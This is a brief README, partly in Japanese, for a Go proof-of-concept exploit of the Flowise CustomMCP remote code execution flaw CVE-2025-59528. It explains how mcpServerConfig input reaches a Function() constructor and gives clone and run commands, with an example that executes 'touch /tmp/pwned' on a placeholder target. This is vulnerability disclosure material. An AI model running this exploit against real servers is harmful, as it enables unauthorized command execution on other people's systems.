
Go Proof of Concept (PoC) exploit for Flowise CustomMCP Remote Code Execution (RCE) CVE-2025-59528
CVE-2025-59528 を対象とした Go 製の概念実証(PoC)です。対象は Flowise バージョン <= 3.0.5 です。
Flowise は、CustomMCP ノード設定を介して検証されていない JavaScript の実行を許可します。このアプリケーションは、バックエンドの convertToValidJSONString 関数内の Function() コンストラクターに、mcpServerConfig パラメーター内のユーザー提供入力をそのまま渡します。これにより、完全な Node.js 権限でコードが評価され、child_process を介した任意のシステムコマンド実行が可能になります。
git clone https://github.com/Moon-Harvest/CVE-2025-59528
cd CVE-2025-59528/
go run main.go <target-base-url> <api-key> <command>
go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"